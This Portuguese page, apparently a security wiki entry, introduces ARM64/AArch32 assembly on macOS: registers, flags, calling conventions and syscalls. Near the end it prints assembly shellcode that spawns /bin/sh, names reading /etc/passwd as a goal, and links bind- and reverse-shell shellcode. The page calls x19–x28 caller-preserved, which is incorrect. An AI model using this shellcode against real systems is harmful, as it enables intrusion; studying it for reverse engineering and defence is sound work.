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Na arquitetura ARMv8, os níveis de execução, conhecidos como Níveis de Exceção (ELs), definem o nível de privilégio e as capacidades do ambiente de execução. Existem quatro níveis de exceção, de EL0 a EL3, cada um com um propósito diferente:
* Este nível é usado para virtualização. Um hipervisor executando no EL2 pode gerenciar múltiplos sistemas operacionais (cada um em seu próprio EL1) rodando no mesmo hardware físico.
O uso desses níveis permite uma maneira estruturada e segura de gerenciar diferentes aspectos do sistema, de aplicações de usuários ao software de sistema mais privilegiado. A abordagem da ARMv8 para níveis de privilégio ajuda a isolar efetivamente diferentes componentes do sistema, aumentando assim a segurança e robustez do sistema.
ARM64 tem **31 registradores de uso geral**, rotulados de `x0` a `x30`. Cada um pode armazenar um valor de **64 bits** (8 bytes). Para operações que requerem apenas valores de 32 bits, os mesmos registradores podem ser acessados em um modo de 32 bits usando os nomes w0 a w30.
4.**`x16`** e **`x17`** - **Registradores de Chamada Intraprocedural**. Registradores temporários para valores imediatos. Também são usados para chamadas de função indiretas e stubs da Tabela de Ligação de Procedimentos (PLT).
* **`x16`** é usado como o **número da chamada de sistema** para a instrução **`svc`** no **macOS**.
5.**`x18`** - **Registrador da Plataforma**. Pode ser usado como um registrador de uso geral, mas em algumas plataformas, este registrador é reservado para usos específicos da plataforma: Ponteiro para o bloco de ambiente de thread atual no Windows, ou para apontar para a estrutura de tarefa em execução no kernel do Linux.
6.**`x19`** a **`x28`** - Estes são registradores preservados pelo chamador. Uma função deve preservar os valores destes registradores para seu chamador, então eles são armazenados na pilha e recuperados antes de voltar ao chamador.
7.**`x29`** - **Ponteiro de quadro** para acompanhar o quadro de pilha. Quando um novo quadro de pilha é criado porque uma função é chamada, o registrador **`x29`** é **armazenado na pilha** e o **novo** endereço do ponteiro de quadro é (**`sp`** endereço) é **armazenado neste registro**.
* Este registrador também pode ser usado como um **registro de uso geral** embora geralmente seja usado como referência para **variáveis locais**.
8.**`x30`** ou **`lr`**- **Registrador de Link**. Ele contém o **endereço de retorno** quando uma instrução `BL` (Branch with Link) ou `BLR` (Branch with Link to Register) é executada armazenando o valor de **`pc`** neste registrador.
* Ele também pode ser usado como qualquer outro registrador.
10.**`pc`** - **Contador de programa**, que aponta para a próxima instrução. Este registrador só pode ser atualizado através de gerações de exceção, retornos de exceção e ramificações. As únicas instruções ordinárias que podem ler este registrador são as instruções de ramificação com link (BL, BLR) para armazenar o endereço de **`pc`** em **`lr`** (Registrador de Link).
11.**`xzr`** - **Registrador Zero**. Também chamado de **`wzr`** na sua forma de registrador de **32 bits**. Pode ser usado para obter facilmente o valor zero (operação comum) ou para realizar comparações usando **`subs`** como **`subs XZR, Xn, #10`** armazenando os dados resultantes em lugar nenhum (em **`xzr`**).
Além disso, existem outros **32 registradores de 128 bits** que podem ser usados em operações otimizadas de instrução única múltiplos dados (SIMD) e para realizar aritmética de ponto flutuante. Estes são chamados de registradores Vn embora também possam operar em **64 bits**, **32 bits**, **16 bits** e **8 bits** e então são chamados **`Qn`**, **`Dn`**, **`Sn`**, **`Hn`** e **`Bn`**.
**Existem centenas de registradores do sistema**, também chamados de registradores de propósito especial (SPRs), usados para **monitorar** e **controlar** o comportamento dos **processadores**.\
Os registradores especiais **`TPIDR_EL0`** e **`TPIDDR_EL0`** são comumente encontrados ao fazer engenharia reversa. O sufixo `EL0` indica o **nível mínimo de exceção** do qual o registrador pode ser acessado (neste caso EL0 é o nível regular de exceção (privilégio) com o qual programas regulares rodam).\
Eles são frequentemente usados para armazenar o **endereço base do armazenamento local de thread** na memória. Geralmente o primeiro é legível e gravável para programas rodando em EL0, mas o segundo pode ser lido de EL0 e escrito de EL1 (como kernel).
**PSTATE** contém vários componentes do processo serializados no registrador especial visível pelo sistema operacional **`SPSR_ELx`**, sendo X o **nível de permissão da exceção disparada** (isso permite recuperar o estado do processo quando a exceção termina).\
* **`V`** significa que a operação resultou em um overflow assinado:
* A soma de dois números positivos resulta em um valor negativo.
* A soma de dois números negativos resulta em um valor positivo.
* Na subtração, quando um número negativo grande é subtraído de um número positivo menor (ou vice-versa), e o resultado não pode ser representado dentro do intervalo do tamanho de bits dado.
Nem todas as instruções atualizam essas flags. Algumas como **`CMP`** ou **`TST`** fazem, e outras que têm um sufixo s como **`ADDS`** também o fazem.
{% endhint %}
* A flag de **largura do registrador atual (`nRW`)**: Se a flag tiver o valor 0, o programa rodará no estado de execução AArch64 uma vez retomado.
* O **Nível de Exceção atual** (**`EL`**): Um programa regular rodando em EL0 terá o valor 0
* A flag de **passo único** (**`SS`**): Usada por depuradores para passo único configurando a flag SS para 1 dentro de **`SPSR_ELx`** através de uma exceção. O programa rodará um passo e emitirá uma exceção de passo único.
* A flag de estado de exceção ilegal (**`IL`**): É usada para marcar quando um software privilegiado executa uma transferência de nível de exceção inválida, esta flag é configurada para 1 e o processador dispara uma exceção de estado ilegal.
* As flags **`DAIF`**: Estas flags permitem que um programa privilegiado mascare seletivamente certas exceções externas.
* Se **`A`** for 1 significa que abortos assíncronos serão disparados. O **`I`** configura para responder a **Pedidos de Interrupção** de hardware externo (IRQs). e o F está relacionado a **Pedidos de Interrupção Rápida** (FIRs).
* As flags de seleção do ponteiro de pilha (**`SPS`**): Programas privilegiados rodando em EL1 e acima podem alternar entre usar seu próprio registrador de ponteiro de pilha e o do modelo de usuário (por exemplo, entre `SP_EL1` e `EL0`). Esta troca é realizada escrevendo no registrador especial **`SPSel`**. Isso não pode ser feito a partir de EL0.
A convenção de chamadas ARM64 especifica que os **primeiros oito parâmetros** para uma função são passados nos registradores **`x0` a `x7`**. **Parâmetros adicionais** são passados na **pilha**. O valor de **retorno** é passado de volta no registrador **`x0`**, ou em **`x1`** também **se tiver 128 bits de comprimento**. Os registradores **`x19`** a **`x30`** e **`sp`** devem ser **preservados** através de chamadas de função.
Ao ler uma função em assembly, procure pelo **prólogo e epílogo da função**. O **prólogo** geralmente envolve **salvar o ponteiro de quadro (`x29`)**, **configurar** um **novo ponteiro de quadro**, e **alocar espaço na pilha**. O **epílogo** geralmente envolve **restaurar o ponteiro de quadro salvo** e **retornar** da função.
Swift tem sua própria **convenção de chamadas** que pode ser encontrada em [**https://github.com/apple/swift/blob/main/docs/ABI/CallConvSummary.rst#arm64**](https://github.com/apple/swift/blob/main/docs/ABI/CallConvSummary.rst#arm64)
Instruções ARM64 geralmente têm o **formato `opcode dst, src1, src2`**, onde **`opcode`** é a **operação** a ser realizada (como `add`, `sub`, `mov`, etc.), **`dst`** é o registrador **destino** onde o resultado será armazenado, e **`src1`** e **`src2`** são os registradores **fonte**. Valores imediatos também podem ser usados no lugar de registradores fonte.
* **`ldr`**: **Carrega** um valor da **memória** para um **registrador**.
* Exemplo: `ldr x0, [x1]` — Isso carrega um valor do local de memória apontado por `x1` para `x0`.
* **`str`**: **Armazena** um valor de um **registrador** na **memória**.
* Exemplo: `str x0, [x1]` — Isso armazena o valor em `x0` no local de memória apontado por `x1`.
* **`ldp`**: **Carrega Par de Registradores**. Esta instrução **carrega dois registradores** de **locais de memória consecutivos**. O endereço de memória é tipicamente formado adicionando um deslocamento ao valor em outro registrador.
* **`stp`**: **Armazena Par de Registradores**. Esta instrução **armazena dois registradores** em **locais de memória consecutivos**. O endereço de memória é tipicamente formado adicionando um deslocamento ao valor em outro registrador.
Armv8-A suporta a execução de programas de 32 bits. **AArch32** pode rodar em um de **dois conjuntos de instruções**: **`A32`** e **`T32`** e pode alternar entre eles via **`interworking`**.\
Programas **privilegiados** de 64 bits podem agendar a **execução de programas de 32 bits** executando uma transferência de nível de exceção para o 32 bits menos privilegiado.\
Note que a transição de 64 bits para 32 bits ocorre com uma diminuição do nível de exceção (por exemplo, um programa de 64 bits em EL1 acionando um programa em EL0). Isso é feito configurando o **bit 4 do****`SPSR_ELx`** registro especial **para 1** quando o processo de thread `AArch32` está pronto para ser executado e o restante do `SPSR_ELx` armazena o CPSR dos programas **`AArch32`**. Então, o processo privilegiado chama a instrução **`ERET`** para que o processador faça a transição para **`AArch32`** entrando em A32 ou T32 dependendo do CPSR**.**
O **`interworking`** ocorre usando os bits J e T do CPSR. `J=0` e `T=0` significa **`A32`** e `J=0` e `T=1` significa **T32**. Isso basicamente se traduz em configurar o **bit mais baixo para 1** para indicar que o conjunto de instruções é T32.\
Isso é configurado durante as **instruções de ramificação de interworking,** mas também pode ser configurado diretamente com outras instruções quando o PC é definido como o registro de destino. Exemplo:
add r4, pc, #1 ; Here PC is already pointing to "mov r0, #0"
bx r4 ; Swap to T32 mode: Jump to "mov r0, #0" + 1 (so T32)
.code 16:
mov r0, #0
mov r0, #8
```
### Registradores
Existem 16 registradores de 32 bits (r0-r15). **Do r0 ao r14** eles podem ser usados para **qualquer operação**, no entanto, alguns deles geralmente são reservados:
* **`r15`**: Contador de programa (sempre). Contém o endereço da próxima instrução. Em A32 atual + 8, em T32, atual + 4.
* **`r11`**: Ponteiro de Quadro
* **`r12`**: Registrador de chamada intra-procedural
* **`r13`**: Ponteiro de Pilha
* **`r14`**: Registrador de Link
Além disso, os registradores são respaldados em **`registradores bancados`**. São locais que armazenam os valores dos registradores permitindo realizar **trocas de contexto rápidas** no tratamento de exceções e operações privilegiadas para evitar a necessidade de salvar e restaurar manualmente os registradores toda vez.\
Isso é feito **salvando o estado do processador do `CPSR` para o `SPSR`** do modo de processador para o qual a exceção é tomada. Na volta da exceção, o **`CPSR`** é restaurado a partir do **`SPSR`**.
Em AArch32 o CPSR funciona de forma semelhante ao **`PSTATE`** em AArch64 e também é armazenado em **`SPSR_ELx`** quando uma exceção é tomada para restaurar posteriormente a execução:
* A flag **`Q`**: É definida como 1 sempre que ocorre **saturação de inteiro** durante a execução de uma instrução aritmética de saturação especializada. Uma vez definida como **`1`**, manterá o valor até que seja manualmente definida como 0. Além disso, não há nenhuma instrução que verifique seu valor implicitamente, deve ser feito lendo manualmente.
* Flags **`GE`** (Maior ou igual): São usadas em operações SIMD (Instrução Única, Dados Múltiplos), como "adição paralela" e "subtração paralela". Essas operações permitem processar vários pontos de dados em uma única instrução.
Por exemplo, a instrução **`UADD8`** **adiciona quatro pares de bytes** (de dois operandos de 32 bits) em paralelo e armazena os resultados em um registrador de 32 bits. Em seguida, **define as flags `GE` no `APSR`** com base nesses resultados. Cada flag GE corresponde a uma das adições de byte, indicando se a adição para aquele par de bytes **transbordou**.
A instrução **`SEL`** usa essas flags GE para realizar ações condicionais.
* **Registrador de Estado do Bloco IT** (`ITSTATE`): São os bits de 10-15 e 25-26. Eles armazenam condições para instruções dentro de um grupo prefixado com **`IT`**.
* Bit **`E`**: Indica a **ordenação dos bytes**. 
* **Bits de Máscara de Modo e Exceção** (0-4): Determinam o estado atual de execução. O **5º** indica se o programa é executado como 32 bits (um 1) ou 64 bits (um 0). Os outros 4 representam o **modo de exceção atualmente em uso** (quando ocorre uma exceção e está sendo tratada). O número definido **indica a prioridade atual** caso outra exceção seja acionada enquanto esta está sendo tratada.
* **`AIF`**: Certas exceções podem ser desativadas usando os bits **`A`**, `I`, `F`. Se **`A`** for 1 significa que **abortos assíncronos** serão acionados. O **`I`** configura para responder a **Pedidos de Interrupção de Hardware Externo** (IRQs). e o F está relacionado a **Pedidos de Interrupção Rápida** (FIRs).
Confira [**syscall_sw.c**](https://opensource.apple.com/source/xnu/xnu-3789.1.32/osfmk/kern/syscall_sw.c.auto.html). Armadilhas Mach terão **x16 < 0**, então você precisa chamar os números da lista anterior com um **menos**: **`_kernelrpc_mach_vm_allocate_trap`** é **`-10`**.
Às vezes é mais fácil verificar o código **decompilado** de **`libsystem_kernel.dylib`** do que verificar o **código fonte** porque o código de vários syscalls (BSD e Mach) é gerado por scripts (verifique os comentários no código fonte), enquanto na dylib você pode encontrar o que está sendo chamado.
adr x0, sh_path ; This is the address of "/bin/sh".
mov x1, xzr ; Clear x1, because we need to pass NULL as the second argument to execve.
mov x2, xzr ; Clear x2, because we need to pass NULL as the third argument to execve.
mov x16, #59 ; Move the execve syscall number (59) into x16.
svc #0x1337 ; Make the syscall. The number 0x1337 doesn't actually matter, because the svc instruction always triggers a supervisor call, and the exact action is determined by the value in x16.
; We are going to build the string "/bin/sh" and place it on the stack.
mov x1, #0x622F ; Move the lower half of "/bi" into x1. 0x62 = 'b', 0x2F = '/'.
movk x1, #0x6E69, lsl #16 ; Move the next half of "/bin" into x1, shifted left by 16. 0x6E = 'n', 0x69 = 'i'.
movk x1, #0x732F, lsl #32 ; Move the first half of "/sh" into x1, shifted left by 32. 0x73 = 's', 0x2F = '/'.
movk x1, #0x68, lsl #48 ; Move the last part of "/sh" into x1, shifted left by 48. 0x68 = 'h'.
str x1, [sp, #-8] ; Store the value of x1 (the "/bin/sh" string) at the location `sp - 8`.
; Prepare arguments for the execve syscall.
mov x1, #8 ; Set x1 to 8.
sub x0, sp, x1 ; Subtract x1 (8) from the stack pointer (sp) and store the result in x0. This is the address of "/bin/sh" string on the stack.
mov x1, xzr ; Clear x1, because we need to pass NULL as the second argument to execve.
mov x2, xzr ; Clear x2, because we need to pass NULL as the third argument to execve.
; Make the syscall.
mov x16, #59 ; Move the execve syscall number (59) into x16.
svc #0x1337 ; Make the syscall. The number 0x1337 doesn't actually matter, because the svc instruction always triggers a supervisor call, and the exact action is determined by the value in x16.
O objetivo é executar `execve("/bin/cat", ["/bin/cat", "/etc/passwd"], NULL)`, então o segundo argumento (x1) é um array de parâmetros (o que na memória significa uma pilha dos endereços).
Bind shell de [https://raw.githubusercontent.com/daem0nc0re/macOS\_ARM64\_Shellcode/master/bindshell.s](https://raw.githubusercontent.com/daem0nc0re/macOS\_ARM64\_Shellcode/master/bindshell.s) na **porta 4444**
De [https://github.com/daem0nc0re/macOS\_ARM64\_Shellcode/blob/master/reverseshell.s](https://github.com/daem0nc0re/macOS\_ARM64\_Shellcode/blob/master/reverseshell.s), revshell para **127.0.0.1:4444**
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